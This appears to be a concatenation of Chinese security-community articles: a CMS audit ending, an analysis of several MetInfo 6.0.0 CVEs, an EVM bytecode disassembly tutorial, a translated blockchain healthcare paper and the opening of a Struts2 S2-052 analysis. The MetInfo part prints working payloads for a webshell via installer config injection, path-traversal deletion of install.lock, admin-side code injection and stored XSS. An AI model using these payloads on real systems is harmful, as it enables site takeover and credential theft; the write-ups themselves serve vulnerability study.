2)选择删除图片后，会删除文件网站根目录下的`rmme.txt`文件
**成因:**
(1) 添加URL入库的时候，只是做了`test_input`，并没有过滤`..`。
(2) 直接入库
(3) 删除图片的时候，传入`AID`，获取到`images_url`字段的值`../rmme.txt`传入`Delfile`函数进行删除。
`Delfile`函数先判断文件是否存在，再使用`unlink`删掉文件，全程没有一丁点的过滤，送分题!
## 0x05 总结
本文直接从一个入口的注入点展开，想找到一条合适的链路到GetShell的完整过程，但是遗憾的是，没能解决6位随机后台地址的问题，故实际利用起来的话，局限性还是有的，姑且称之为一次分享式的尝试性代码审计体验录吧。 | 社区文章 |
# Metinfo 6.0.0 众多漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近在seebug上浏览漏洞，发现metinfo爆出了很多危害很大的漏洞，然后看了一下cve列表，竟然还有这么多，既然这样那就开始跟踪学习起来。
## 伪全局变量
首先metinfo在全局都使用了一种对传入参数进行封装的方法，也就是伪全局变量覆盖，下面是核心代码：
这也是我在之前的文章中提到的，在开发中多封装一层的好处，可以在很多地方避免因为没有过滤就拼接数据到sql变量中，导致的sql注入，这也是给大家在开发过程中需要注意的地方。
## CVE-2018-7271、CVE-2018-12531
首先是两个安装时候的漏洞，也是在安装的过程中，没有对输入进行过滤，导致了任意代码注入，写入webshell，跟了几个cms，发现很多cms都存在这个问题。下面简单贴一下代码：
可以发现，并没有对输入进行检查，直接拼接写入了文件，造成了漏洞，下面实际测试一下：
安装时输入的数据库密码为payload：
pass = "*/assert($_REQUEST[w])/*"
拼接之后代码为：
<?php
/*
con_db_host = "localhost"
con_db_port = "3306"
con_db_id = "root"
con_db_pass = ""*/assert($_REQUEST[w]);/*""
con_db_name = "metinfo"
tablepre = "met_"
db_charset = "utf8";
*/
?>
然后访问/config/config_db.php即可获取webshell。
## CVE-2018-7721
这是一个前台的反馈处的xss，可以在没有登录的情况下，直接xss到管理员，从而拿到管理员cookie，作为管理员登陆。
首先找到feedback的代码逻辑控制器`/app/system/feedback/web/feedback.class.php`：
只是简单的代码入库操作，然后找到管理员查看反馈的代码控制逻辑`/app/system/feedback/admin/feedback_admin.class.php`:
看到将用户输入从数据库中取出来以后，引入了模板文件，然后跟进到模板文件中查看是否有过滤：
看到整个流程中并没有对代码进行实体化转义等过滤xss的方式，因为xss变的很简单，我们简单做个弹窗测试
<script>alert('/xss/');</script>
然后管理员查看反馈是触发xss：
## CVE-2018-9934
这是一个比较有趣的漏洞，这并不是传统的web漏洞，而是一种类似于钓鱼的中间人攻击方式，要利用这个漏洞首先要知道你要攻击的用户的邮箱，然后密码找回功能，通过篡改请求host头，从而将发送给用户的链接中的host更改，用户点击之后，黑客就获得了用户的密码更换token，从而更改掉用户的密码。
攻击手法为：
在metinfo点击找回密码，然后输入要攻击的用户的邮箱，
然后用户收到钓鱼邮件，当用户点击以后
成功接收到了用户的密码更改链接，然后
就可以成功改掉该用户的密码。
攻击流程大概如图：
## CVE-2018-12530
这是一个任意文件删除漏洞，可以将安全后产生的安装锁文件删除，然后利用安装时的代码注入漏洞getshell，看来这两个漏洞的组合拳还是很多的。
首先可以看一下payload：
/admin/app/batch/csvup.php?fileField=test-1&flienamecsv=../../../config/install.lock
然后跟进到代码中看一下：
可以发现并没有对传入的`filenamecsv`过滤，直接读了这个csv文件，然后读取完成以后，采取了unlink操作，也就导致了漏洞的产生。
## CVE-2018-13024
这是一个后台的getshell漏洞，可以造成任意文件写入，算是很危险的，下面具体跟踪一下文件写入的流程：
产生漏洞的位置在`admincolumnsave.php`的大约32行的column_copyconfig函数：
首先在进入这个条件的时候，还是比较好进的，没有什么必须满足的条件，然后跟进这个函数
其实这个函数中间的switch可以直接略过，因为最后还是会带入到下面的`Copyindex`函数中,而这个函数就是文件写入的关键函数：
可以看到，这里直接就将函数的第二个参数写入了文件，这个参数追溯起来就是我们之前的`module`变量，于是整个数据流程就变成了：
所以我们在管理员登陆以后，构造的payload是：
admin/column/save.php?name=123&action=editor&foldername=upload&module=22;phpinfo();/*
然后我们只要访问/upload/就可以默认访问到写好的shell。
## 一些设计不当导致的小问题
还有一些cve是关于跨站请求伪造的，这里就不具体分析了，因为这样的点真的很多。
因为整个cms在设计的时候，后台没有采用csrf的防御机制，所以攻击着可以很轻易的构造恶意表单，然后通过钓鱼的手段，使管理员访问这个钓鱼链接，然后csrf恶意表单就被触发了，从而完成了很多只有管理员才能做的操作。
下面贴一下csrf的攻击流程图，方便新手理解；
这也是在开发中应该注意到的，csrf的防护是必须的，现在很多开发框架都已经默认启用了csrf-toen的防御方式，虽然不能完全避免csrf攻击，但是能让攻击的构造变得更难。 | 社区文章 |
# 智能合约安全系列文章反汇编·上篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
通过上一篇反编译文章的学习，我们对智能合于opcode的反编译有了基础的学习，对于初学者来说，要想熟练运用还得多加练习。本篇我们来一块学习智能合约反汇编，同样使用的是Online
Solidity
Decompiler在线网站，智能合约反汇编对于初学者来说，较难理解，但对于智能合约代码来说，只要能读懂智能合约反汇编，就可以非常清晰的了解到合约的代码逻辑，对审计合约和CTF智能合约都有非常大的帮助
## 反汇编内容
由于solidity智能合约的opcode经过反汇编后，指令较多，我们本篇分析简明要义，以一段简单合约代码来分析其反汇编后的指令内容
合约源码如下：
pragma solidity ^0.4.24;
contract Tee {
uint256 private c;
function a() public returns (uint256) { self(2); }
function b() public { c++; }
function self(uint n) internal returns (uint256) {
if (n <= 1) { return 1; }
return n * self(n - 1);
}
}
合约部署后生成的opcode:
0x6080604052600436106049576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630dbe671f14604e5780634df7e3d0146076575b600080fd5b348015605957600080fd5b506060608a565b6040518082815260200191505060405180910390f35b348015608157600080fd5b5060886098565b005b60006094600260ab565b5090565b6000808154809291906001019190505550565b600060018211151560be576001905060cd565b60c86001830360ab565b820290505b9190505600a165627a7a7230582003f585ad588850fbfba4e8d96684e2c3fa427daf013d4a0f8e78188d4d475ee80029
通过在线网站Online Solidity Decompiler反汇编后结果（runtime bytecode）如下：
## 反汇编分析
我们从第一部分指令label_0000开始
0000 60 PUSH1 0x80
0002 60 PUSH1 0x40
0004 52 MSTORE
0005 60 PUSH1 0x04
0007 36 CALLDATASIZE
0008 10 LT
0009 60 PUSH1 0x49
000B 57 *JUMPI
push指令是将字节压入栈顶，push1-push32依次代表将1字节-32字节推压入栈顶，这里PUSH1 0x80和PUSH1
0x40表示将0x80和0x40压入栈顶，故目前栈的布局如下：
1: 0x40
0: 0x80
MSTORE指令表示从栈中依次出栈两个值arg0和arg1，并把arg1存放在内存的arg0处。目前来说栈中已无数据，这里将0x80存放在内存0x40处。
PUSH1 0x04将0x04压入栈中，CALLDATASIZE指令表示获取msg.data调用数据，目前栈的布局如下：
1: calldata
0: 0x04
LT指令表示将两个栈顶的值取出，如果先出栈的值小于后出栈的值则把1入栈，反之把0入栈。这里如果calldata调用数据小于0x04字节，就将1入栈；如果calldata调用数据大于等于0x04字节，就将0入栈。目前栈的布局为：0:
0 或0: 1。
继续分析，PUSH1 0x49指令将0x49压入栈顶，目前栈的布局为：
1：0x49
0: 0 或者 1
下面一条指令JUMPI指令表示从栈中依次出栈两个值arg0和arg1，如果arg1的值为真则跳转到arg0处，否则不跳转。如果arg1值为1，则指令会跳转到0x49处；如果arg1值为0，则会顺序执行下一条指令。具体执行过程如下：
这里我们先来分析顺序执行的内容label_000C，指令如下
000C 60 PUSH1 0x00
000E 35 CALLDATALOAD
000F 7C PUSH29 0x0100000000000000000000000000000000000000000000000000000000
002D 90 SWAP1
002E 04 DIV
002F 63 PUSH4 0xffffffff
0034 16 AND
0035 80 DUP1
0036 63 PUSH4 0x0dbe671f
003B 14 EQ
003C 60 PUSH1 0x4e
003E 57 *JUMPI
目前经过上一步运算栈中布局为空，PUSH1
0x00指令将0压入栈中。CALLDATALOAD指令接受一个参数，该参数可以作为发往智能合约的calldata数据的索引，然后从该索引处再读取32字节数，由于前一个指令传入的索引值为0，所以这一步指令会弹出栈中的0，将calldata32字节压入栈中。PUSH29指令将29个字节压入栈中。目前栈的布局如下：
1：0x0100000000000000000000000000000000000000000000000000000000
0：calldata值
SWAP1指令表示将堆栈顶部元素与之后的第一个元素进行交换，也就是0x0100000000000000000000000000000000000000000000000000000000和calldata值进行交换。接下来DIV指令表示（栈中第一个元素
//
栈中第二个元素）取a//b的值，这里也就是calldata的32字节除29字节，由于除法的运算关系，这里进行除法运算后的字节为4位，估计大家也可以想到，这就是函数标识符4字节。那么目前栈的布局如下：
0：函数标识符4字节
PUSH4
指令将0xffffffff压入栈中。AND指令表示将取栈中前两个参数进行AND运算，也就是函数标识符前四位0xffffffff进行AND操作，最终得到前四位的函数标识符及后28位为空补0的数值。下一条指令DUP1表示复制当前栈中第一个值到栈顶，目前栈中布局如下：
1：调用参数中的函数标识符
0：调用参数中的函数标识符
下一个指令PUSH4指令继续将函数标识符0x0dbe671f压入栈中，这里的标识符为a()函数，函数标识符我们可以在https://www.4byte.directory/在线网站查看。目前栈中布局如下：
2：0x0dbe671f
1：调用参数中的函数标识符
0：调用参数中的函数标识符
EQ指令表示取两个栈顶值，如果两值相等就将1入栈（也就是说a()函数标识符与调用参数中的函数标识符相等），反之将0入栈。下一步PUSH1将0x4e压入栈顶。之后JUMPI指令从栈中依次出栈两个值arg0和arg1，如果arg1的值为真则跳转到arg0处，否则不跳转。目前栈中布局如下：
2：0x4e
1：1 或 0
0：调用参数中的函数标识符
从前面三个指令可看出，EQ对函数标识符进行判断后，下一步压入0x4e是为了JUMPI进行判断并跳转。也就是说如果EQ判断a()函数标识符相等（将1入栈），JUMPI执行后就会跳转到0x4e的偏移位置；反之如果EQ判断a()函数标识符不相等（将0入栈），JUMPI执行后就会顺序执行下一条语句。目前栈中布局如下：
0：调用参数中的函数标识符
具体执行过程如下：
目前我们对label_0000和label_000C已进行分析，从上图来看，该流程中除了顺序执行外，label_0000处0x49，label_003F处0x76和label_000C处0x4e都有相应的跳转条件。本篇我们继续分析顺序执行部分（label_003F和label_0049）指令。首先来看第一部分label_003F：
003F 80 DUP1
0040 63 PUSH4 0x4df7e3d0
0045 14 EQ
0046 60 PUSH1 0x76
0048 57 *JUMPI
由于目前栈中只有一条数据（0：调用参数中的函数标识符）
DUP1指令表示复制栈中第一个值到栈顶。PUSH4指令将0x4df7e3d0函数标识符压入栈顶，这里函数标识符代表b()函数，故目前栈中布局如下：
2：0x4df7e3d0
1：调用参数中的函数标识符
0：调用参数中的函数标识符
接下来三个指令会进行栈中值进行运算和偏移量跳转设置，EQ指令把栈顶的两个值出栈，如果0x4df7e3d0和调用参数中的函数标识符相等则把1入栈，否则把0入栈。PUSH1指令将偏移量0x76压入栈中。JUMPI指令从栈中依次出栈两个值：0x76和EQ指令判断的值（1或0），如果EQ指令判断的值为真则跳转到0x76处，否则按顺序执行不跳转。故目前栈中布局如下：
2：0x76
1：1 或 0
0：调用参数中的函数标识符
我们假设EQ指令判断的值为0，那么通过JUMPI指令条件判断后，会按照顺序继续执行下一条指令。执行后，栈中依然只有一条指令（0：调用参数中的函数标识符）。
我们继续进行顺序执行，label_0049：
0049 5B JUMPDEST
004A 60 PUSH1 0x00
004C 80 DUP1
004D FD *REVERT
JUMPDEST指令在该上下文中表示跳转回来，也就是label_0000处0x49的跳转。之后的两条指令PUSH1和DUP1总体意思为将0压入栈顶并复制，没有实际意义。REVERT指令则表示并未有函数签名匹配，从而停止执行，回滚状态。
## 总结
由于反汇编内容过多，我们分为两篇分享给大家，本篇我们对反汇编的内容进行了详细讲解，下篇我们将会继续分析并串联所有指令，梳理代码逻辑。 | 社区文章 |
# 基于区块链的医疗系统的数据卸载和共享的合作架构（上）
##### 译文声明
本文是翻译文章，文章原作者 arxiv，文章来源：arxiv.org
原文地址：<https://arxiv.org/abs/2103.10186>
译文仅供参考，具体内容表达以及含义原文为准。
**概述**
–医疗行业见证了电子健康服务的重大变革，电子健康记录（EHR）被转移到移动边缘云端，以促进医疗保健。许多基于边缘云端的系统设计已被提出，但仍存在一些技术上的挑战，如集中式医疗架构导致的服务质量（QoS）低下、数据隐私和系统安全等。在本文中，我们提出了一种利用边缘云端和区块链进行医疗数据卸载和数据共享的新型混合方法。首先，提出了一种高效的数据卸载方案，物联网健康数据可以卸载到附近的边缘服务器，以便在具有隐私意识的情况下进行数据处理。然后，整合数据共享方案，通过区块链实现医疗用户之间的数据交换。特别是利用智能合约进行访问认证，开发出可信的访问控制机制，实现电子病历（EHRs）安全共享。通过大量的实际实验，实现结果显示出本方案在提高QoS、增强数据隐私和安全性、低智能合约成本等方面比现有方案更有优势。
## 1.引言
近来云计算、边缘计算和物联网（IoT）技术的发展，均增强了电子健康服务[1]、[2]。在现代电子医疗中，从移动设备-MD（即智能手机和可穿戴传感器）收集到的健康数据可以卸载到移动边缘计算（MEC）服务器上进行高效的计算和分析，然后提高服务质量（QoS），降低设备的资源负担。特别是还可以整合资源丰富的服务器的云端，存储从卸载阶段分析的历史健康数据，从而实现健康用户之间的数据共享。例如，医生可以利用云数据来支持疾病诊断，而患者可以获得健康或用药建议等医疗福利。因此，数据卸载和数据共享的合作，可促进医疗服务的提供[3]。
然而，实现这种合作系统的承诺仍然面临着不小的挑战。首先，如何将物联网医疗数据卸载到边缘云，以高效支持健康应用程序，同时保证高QoS和数据隐私，这是一个关键问题。大多数传统的方法[4-6]要么只关注网络延迟和能量使用的QoS问题，要么只关注医疗卸载的数据隐私问题，而实现一个考虑到所有这些因素的整体框架是非常必要的。其次，集中式云架构仍然是单点故障，这有可能扰乱整个网络[7]。此外，EHRs存储在中央云上会增加数据检索的通信开销，尽管它只需要较少的数据管理工作。第三，在电子健康网络中，参与者之间往往缺乏透明度和信任，要实现安全的数据共享并不简单[2]。攻击者或好奇的用户可以在未经用户许可的情况下访问健康数据，导致患者敏感信息的泄露风险。最后，对于医疗应用程序，这种数据卸载和数据共享的混合方式的可行性和实现，在现有的大多数作品中仍未解决[7-13]，[15]，这迫切需要进一步的创新解决方案。
为了克服上述挑战，本文提出了一种新型的利用边缘云和区块链进行医疗数据卸载和数据共享的合作架构。采用边缘计算提供低成本高效率的卸载服务以提高QoS，同时通过数据加密来保证计算的隐私性。我们开发了一个去中心化的云存储系统，并采用智能合约来实现可靠的数据共享，这样可以满足系统延迟和安全要求。由于资源限制，MD被视为轻量级节点，只参与区块链网络的数据收集或共享，而挖矿工程则由资源丰富的云机完成。采用区块链的主要目的是利用其去中心化和安全性来构建分布式云系统和安全的数据共享方案，有效解决传统架构面临的高延迟开销和单点故障问题[4-9]。我们还进行了大量的实际实验来验证所提出的联合框架的可行性。简而言之，本文提供了以下一系列贡献：
1）我们首先提出了一种高效的数据卸载方案，物联网健康数据可以卸载到附近的边缘服务器，进行具有隐私意识的数据处理。
2）然后，我们提出了一个新的数据共享方案，该方案通过区块链整合实现了医疗用户之间的数据交换。同时利用智能合约进行访问认证，开发了一种可信的访问控制机制，实现了EHRs安全共享。
3）我们进行了各种实验，来验证所提出的方法在卸载和共享性能方面优于其他基线方法。
本论文的其余部分安排如下：第二节讨论相关工作。我们在第三节中提出了一个集成架构，采用的是卸载和共享规划。第四节介绍了各种性能指标的实现结果，而第五节则是全文总结。
## 2.相关工作
在本节中，我们调查了医疗数据卸载和数据共享的相关工作。
### **_A.健康数据卸载_**
已经提出了许多数据卸载方法来支持医疗保健。在[4]中，移动医疗数据可以卸载到雾节点或云端进行处理、分析和存储。在[6]，[7]中，提出了一种多云模型，该模型可以在延迟和能量约束下将移动健康数据卸载到云端。这些建议的主要缺点是将数据卸载到远程云端所造成的高延迟。同时，不考虑卸载隐私，这会使敏感的健康数据有面临外部攻击的风险。另一项工作在[8]中提出了一种在云上执行医疗应用的物联网架构，但完全忽略了卸载数据所需的MD的内存使用情况优化和数据隐私问题。同时，[5]、[9]、[10]等其他工作则集中研究医疗中的卸载安全问题。例如，[9]采用哈希（hash）函数和密钥密码系统来保证数据安全。另外，在[5]、[10]中，通过使用共识算法和基于学习的隐私保护技术，在响应时间和延迟方面也解决了健康数据卸载的隐私问题。然而，上述研究缺乏对所有QoS约束（网络延迟、能耗和内存使用）和隐私意识的共同考虑，而这些对于卸载性能保障具有重要意义[2]。
### **_B.健康数据共享_**
提出了几种利用区块链进行健康数据共享的解决方案。该工作[11]介绍了一种由防篡改联盟区块链和云存储结合实现的，隐私保护数据共享方案。此外，[12]描述了一种同时使用区块链和边缘云节点的混合架构，其中采用智能合约来监控访问行为和事务。尽管数据隐私性有所增强了，但此类解决方案[11]、[12]主要依靠中央云服务器进行EHRs存储，仍存在单点故障瓶颈，且产生高额通信开销。此外，智能健康合约的性能尚未得到评估。同时，[13]采用了星际文件系统（IPFS）与以太坊（Ethereum）区块链进行EHRs云端共享，但数据检索速度和安全能力等重要性能指标尚未得到验证。最近，我们的作品[3]、[14]首次尝试利用去中心化存储IPFS和智能合约实现移动云EHRs共享。在[15]中研究了一种基于区块链和外部公钥基础设施（PKI）的访问控制协议，但它需要复杂而昂贵的资源来实现EHRs的安全共享[2]。
尽管取得了可喜的成果，但上述工作未能为医疗卫生提供数据卸载和数据共享的合作框架。这促使我们利用MEC和区块链开发了一个综合解决方案，在增强QoS、提高隐私和安全性方面提供更好的医疗服务。
## 3.提出的架构和系统设计
我们在图1中所考虑的医疗系统架构，由以下四层组成。（1）物联网层由许多智能医院组成，这些医院由MD作为移动网关从传感器物联网设备上监测不同地点的患者。（2）边缘层包括一群边缘云节点，每个边缘节点管理一组附近的物联网设备，为医疗卫生提供分布式计算服务。所有的计算（包括数据处理和分析）都在边缘层实现，以提供即时的医疗服务。（3）云层，存储来自边缘节点处理后的健康数据，并与终端用户进行数据共享。为了构建云区块链网络，我们创建了四个关键的云组件，包括管理员、EHRs管理器、分布式云存储、与矿工的智能合约和策略存储。其详细情况将在下一节中介绍。（4）终端用户层是指有意使用云医疗服务的医疗机构、护理人员和患者等医疗用户网络。例如，医生利用云端分析的健康数据进行疾病诊断，或者患者可以追踪自己的医疗记录史。需要注意的是，这里的区块链网络由边缘服务器、云实体和终端用户组成，并由分布在区块链参与者[14]上的安全事务账本维护。接下来，我们重点分析数据卸载和数据共享方案。
### **_A.健康数据卸载_**
我们认为每个MD都有多个健康数据任务被执行。我们引入一个卸载决策策略，用二进制变量表示，其中表示任务n被卸载到边缘服务器，否则就在本地执行。
**1）卸载模式：** 在我们近期工作[16]的实验结果的激励下，本文提出了如图2所示的卸载架构，它包括两个主要模块：移动设备上的任务配置文件和决策装置。
**-任务概况：**
该模块通过移动性能测量工具，收集设备执行数据任务时的能耗（E）、处理时间（T）、内存使用量（M）等信息。因此，一个大小为Dn（以比特为单位）的任务配置文件可以被表述为一个变量元组[Dn，En，Tn，Mn]，然后存储在MD上创建的数据库中，以支持卸载决策。
**-决策装置：**
该模块接收配置文件模块收集的任务配置文件信息，以做出卸载决策。与[17]、[18]类似，我们采用整数线性编程模型来开发MD的决策算法。通过使用配置文件信息，算法分析并做出本地执行或卸载到MEC服务器的决策
。主要目标是为每个任务确定一个最优的计算决策，使计算延迟、能耗和内存使用量最小化。
**2）卸载规划：** 受[10]和[18]中医疗卸载研究的启发，我们以两种计算模式下的处理时间、能耗和内存使用量三个主要指标来制定健康数据卸载问题。
**-本地执行：**
当一个MD决定在本地执行任务n时，它会使用自己的资源来处理医疗数据。我们将分别表示任务n的移动CPU利用率（单位：CPU/位）和移动计算能力（单位：CPU/秒）。那么，本地执行时间可以计算为。我们还将和定义为电池消耗量（单位：Mah）和内存使用量（单位：Mbyte），它们可以通过移动测量工具[18]来测量。
**-卸载到MEC服务器：**
在任务卸载的情况下，数据任务在传输到MEC之前需要进行安全加密。我们将分别表示为加密任务n的移动CPU利用率（以CPU/bit为单位）、边缘CPU利用率（单位：CPU/bit）、边缘计算能力（单位：CPU/秒）。进一步，设为MD的传输数据速率，则总的卸载时间可表示为。我们还将定义为加密能量和向MEC传输任务n的能量。那么，总卸载能量由[16]计算。此外，卸载过程也会产生加密的内存使用成本，定义为，也可以通过移动测量工具[18]获得。相应地，总卸载时间、能量成本和内存使用量可以用以下公式表示：
根据以上公式，我们可以推导出在系统约束条件下联合优化时延、能耗成本和内存使用量的优化问题，如下图所示：
其中αt、αe、αm分别为成本权重，且均设为1/3。这里，约束条件（C1）、（C2）表示在MD上计算所有医疗数据任务时，时间延迟和能耗的卸载成本应小于本地执行成本。事实上，将任务卸载到MEC的解决方案应该是首选，因为它的计算效率很高，特别是对于大型任务，以获得更好的QoS。此外，任务总执行时间不应超过最大延迟值（C3）。同时，（C4）定义了用于任务计算的内存不能超过可用的移动内存。本文采用java编写的粒子群优化（PSO）（见算法1）模型，在Android手机上建立上述卸载优化算法。PSO算法已经证明了其相对于遗传算法（Genetic
Algorithm，GA）等同类算法的优越性，即计算成本极低，且在Android设备上实现简单，适用于医疗等移动卸载应用[19]。
### **_B.健康数据共享_**
我们将数据共享的主要内容、智能合约设计和接入协议描述如下。
**1）主要内容：**
在数据共享方案中，我们假设医疗数据由前一小节设计的卸载框架处理并存储在云端。云计算与区块链的结合，可以实现高效的数据共享，提高吞吐量，减少数据检索，提高安全性[2]。需要注意的是，区块链利用共识验证[2]来实现分布式账本上的同步，而分布式账本是在云实体间复制的，避免了单点故障，即由于区块链上的强链接事务，一个实体的中断不会影响云系统的运行[2]。我们提出的云上共享架构如图1所示，主要包括以下四个实体。
1. **EHRs管理器：** 它负责控制区块链网络上的所有用户事务，包括MD的数据存储进程和移动用户的数据访问。EHRs管理器的管理能力是由智能合约通过严格的用户策略来实现的。
2. **管理员：** 它通过添加、更改或撤销访问权限来管理云上的事务和操作。管理员部署智能合约，也是唯一具有能够更新或修改智能合约策略能力的实体。
3. **智能合约：** 它定义了访问控制系统中允许的所有事务。用户可以通过合约地址和应用二进制接口（ABI）与智能合约进行交互。智能合约可以对医疗数据请求进行识别、验证访问和授予权限。它被认为是我们医疗平台的核心软件。
4. **分散式IPFS存储：** 我们在云上部署了一个去中心化的点对点文件系统InterPlanetary File System（IPFS），这是一个分布式存储节点的网络，以构建区块链网络中的存储和共享平台[14]。从卸载方案中分析出的健康结果存储在已识别的 IPFS 节点中，而其哈希值则由EHRs管理器记录并存储在分布式哈希表（DHT）中。同时，我们还将智能合约与IPFS进行整合，提高云存储的分散性和数据共享的可控性，以便更好地进行用户访问管理。关于IPFS设置的细节可以参见我们最近的工作[14]。
**2）智能合约设计：**
我们首先创建一个由管理员控制的共享合同，以监控事务操作。我们将PK表示为用户的公钥，userRole表示为用户的角色，Addr表示为患者在区块链中的地址。该合同主要规定了以下五项功能：
1. **新增用户（PK, userRole）：** （由管理员执行）该功能允许在主合同中添加一个新用户。用户由其公钥识别，并根据其请求加入到合同中，并赋予相应的角色。
2. **刪除用戶（PK, userRole）：** （由管理员执行） 用于根据相应的公钥从网络中删除用户。所有的个人信息也会从云存储中删除。
3. **政策列表（PK）：** （由管理员执行）医疗服务提供者-患者之间的对等体可以商定一项政策，以表达他们的医疗关系。例如，一个病人有一个确定的医生为他提供医疗服务，只有这个医生才有权利访问他的病人的电子病历。政策列表包含在政策存储中的用户公钥，用于智能合约处理新事务时的识别。
4. **检索EHRs （PK，Addr）：** （由EHRs管理器执行）它允许检索患者的云电子病历。区块链实体需要向智能合约提供患者的地址（包括患者ID和区域ID）。然后，合同验证并向EHRs管理器发送信息，以提取并将数据返回给请求者。
5. **处罚（PK，action）：** （由管理员执行）当检测到有未经授权的请求进入EHRs系统时，EHRs管理器将通知智能合约对请求者进行处罚。在本论文中，我们给未经授权的移动实体一个警告信息作为惩罚。
接下来，我们提出一个数据共享协议，总结起来有以下四个步骤。
**_第1步：请求处理（由EHRs管理器执行）_**
EHRs管理器从移动用户（即医疗服务提供者或患者）那里收到一个新的请求，该请求作为与请求ID（包括AreaID和PatientID）相关联的事务Tx。EHRs管理器将通过使用
_Tx.getSenderPublicKey()_ 函数获得请求者的PK，并将其发送到合同中进行验证。
**_第2步：验证(由管理员执行)_**
在收到EHRs管理器的事务（msg.sender =
ME）后，管理员会根据其在智能合约的政策列表中的PK来验证该请求。如果PK在列表中可用，则请求被接受，立刻向请求者授予数据访问权限。否则，智能合约将通过惩罚()函数发出惩罚，从区块链网络中丢弃这个请求。
**_第3步：EHRs检索（由管理员执行）_**
一旦授予权限，合同将使用 _abiDecoder:decodeMethod(Tx)_
函数对事务进行解码，以获取交易数据字段中EHRs的地址信息（见第二节）。现在，管理员可以知道请求的区域ID和患者ID，然后将其转发给EHRs管理器，以便从IPFS[14]中检索数据。
**_第4步：数据反馈（由EHRs管理器执行）_**
一旦找到所要求的数据，EHRs管理器会将把它发送给请求者。现在分享完毕，一个新的事务会被添加到区块链上，并播发给网络用户。需要注意的是，这类事务中的数据主要是患者地址，这些地址在区块链上的存储是轻量级的，也是高效的。算法1显示了我们的共享协议，其源代码可以在我们近期的工作中获得[14]。
## 参考文献
[1] S. M. Riazul Islam et al., ”The Internet of Things for Health Care: A
Comprehensive Survey,” _IEEE Access_ , vol. 3, pp. 678-708, 2015.
[2] Guo, Hao, et al., ”Attribute-based Multi-Signature and Encryption for EHR
Management: A Blockchain-based Solution,” in _2020 IEEE International
Conference on Blockchain and Cryptocurrency (ICBC)_ , pp. 1-5, 2020.
[3] Dinh C. Nguyen et al., ”A mobile cloud based IoMT framework for automated
health assessment and management,” in _41st Conference of the IEEE Engineering
in Medicine & Biology Society (EMBC)_, 2019.
[4] M. Asif-Ur-Rahman et al., ”Towards a heterogeneous mist, fog, and cloud
basedframework for the internet of healthcare things,” _IEEE Internet of
Things Journal_ , vol.6, pp. 4049-4062, 2018.
[5] R. Saha et al., ”Privacy ensured e-healthcare for fog-enhanced IoT
basedapplications,” _IEEE Access_ , vol. 7, pp. 44 536-44 543, 2019.
[6] H. Wu et al., ”Mobile healthcare systems with multi-cloud offlfloading,”
in _IEEE Int. Conf. on Mobile Data Management_ , vol. 2, 2013, pp. 188-193.
[7] Navaz et al. ”Towards an effificient and Energy-Aware mobile big health
data architecture.” _Comput. methods and programs in bio._ , 2018.
[8] R. M. Abdelmoneem et al., ”A cloud-fog based architecture for IoT
applications dedicated to healthcare,” in _IEEE ICC_ , 2019, pp. 1-6.
[9] D. Giri et al., ”Sechealth: An effificient fog based sender initiated
secure data transmission of healthcare sensors for e-medical system,” in _IEEE
Global Communications Conference_ , 2017, pp. 1-6.
[10] M. Min et al., ”Learning-based privacy-aware offlfloading for healthcare
IoT with energy harvesting,” _IEEE Internet of Things Journal_ , vol. 6, pp.
4307-4316, 2018.
[11] J. Liu et al., ”BPDS: A blockchain based privacy-preserving data sharing
for electronic medical records,” in _IEEE GLOBECOM_ , 2018, pp. 1-6.
[12] H. Guo et al., ”Access control for electronic health records with
hybridblockchain-edge architecture,” in _IEEE Int. Conf. on Blockchain_ ,
2019.
[13] S. Wang al., ”A blockchain-based framework for data sharing with
fifinegrained access control in decentralized storage systems,” _IEEE Access_
, vol. 6, pp.38437-38450, 2018.
[14] Dinh C. Nguyen et al., ”Blockchain for secure EHRs sharing of mobile
cloud based e-health systems,” _IEEE Access_ , pp. 66792-66806, 2019.
[15] M. T. de Oliveira et al., ”Towards a blockchain-based secure electronic
medical record for healthcare applications,” in _IEEE ICC_ , 2019.
[16] Dinh C. Nguyen et al., ”Privacy-preserved task offlfloading in mobile
blockchain with deep reinforcement learning,” _IEEE Transactions on Network
and ServiceManagement_ , 2020, in press.
[17] Sigwele, Tshiamo, et al. ”Intelligent and energy effificient mobile
smartphone gateway for healthcare smart devices based on 5G” in _IEEE Global
CommunicationsConference (GLOBECOM)_ , 2018..
[18] I. Elgendy et al., ”An effificient and secured framework for mobile
cloudcomputing,” _IEEE Transactions on Cloud Computing_ , 2018.
[19] W.-T. Sung and Y.-C. Chiang, ”Improved particle swarm optimization
algorithm for android medical care IoT using modifified parameters,” _Journal
of medical systems_ , vol. 36, no. 6, pp. 3755-3763, 2012.
[20] AWS Lambda with Cloud Front Lambda Edge Services [Online].
Available:https://aws.amazon.com/lambda/edge/.
[21] Firebase Performance Monitoring – Google [Online]. Available:
https://fifirebase.google.com/docs/perf-mon. | 社区文章 |
# 【漏洞分析】360天眼实验室：Struts2 S2-052(CVE-2017-9805)远程代码执行漏洞分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 漏洞介绍**
Struts2 S2-052远程代码执行漏洞和以往的Struts2漏洞是不同的，S2-052利用的是 **Java反序列化漏洞** ，而不是臭名昭著的
**ognl** 。
本次漏洞触发点是REST插件在解析请求中的xml文件时，调用了 **XStreamHandler** ，传入的数据会被默认进行反序列化，
**如果当传入的xml是个经过XStream序列化的恶意对象时，便造成反序列化漏洞。**
**0x01 漏洞分析**
本次漏洞的成因由两部分组成，一个是 **Struts2 REST插件本身没有对进入的数据进行安全检查**
，导致攻击者可以传入恶意的xml对象可以传入到XStream里。另一个是 **XStream在反序列化传入的xml造成的远程代码执行** 。
关键代码在 **org.apache.struts2.rest.ContentTypeInterceptor** 里。
public String intercept(ActionInvocation invocation) throws Exception {
HttpServletRequest request = ServletActionContext.getRequest();
ContentTypeHandler handler = selector.getHandlerForRequest(request);
Object target = invocation.getAction();
if (target instanceof ModelDriven) {
target = ((ModelDriven)target).getModel();
}
if (request.getContentLength() > 0) {
InputStream is = request.getInputStream();
InputStreamReader reader = new InputStreamReader(is);
handler.toObject(reader, target);
}
return invocation.invoke();
}
问题出在以下两点
ContentTypeHandler handler = selector.getHandlerForRequest(request);
和
handler.toObject(reader, target);
Struts2的漏洞点本身没什么难度，这个漏洞出在漏洞利用方面。
**0x02 利用分析**
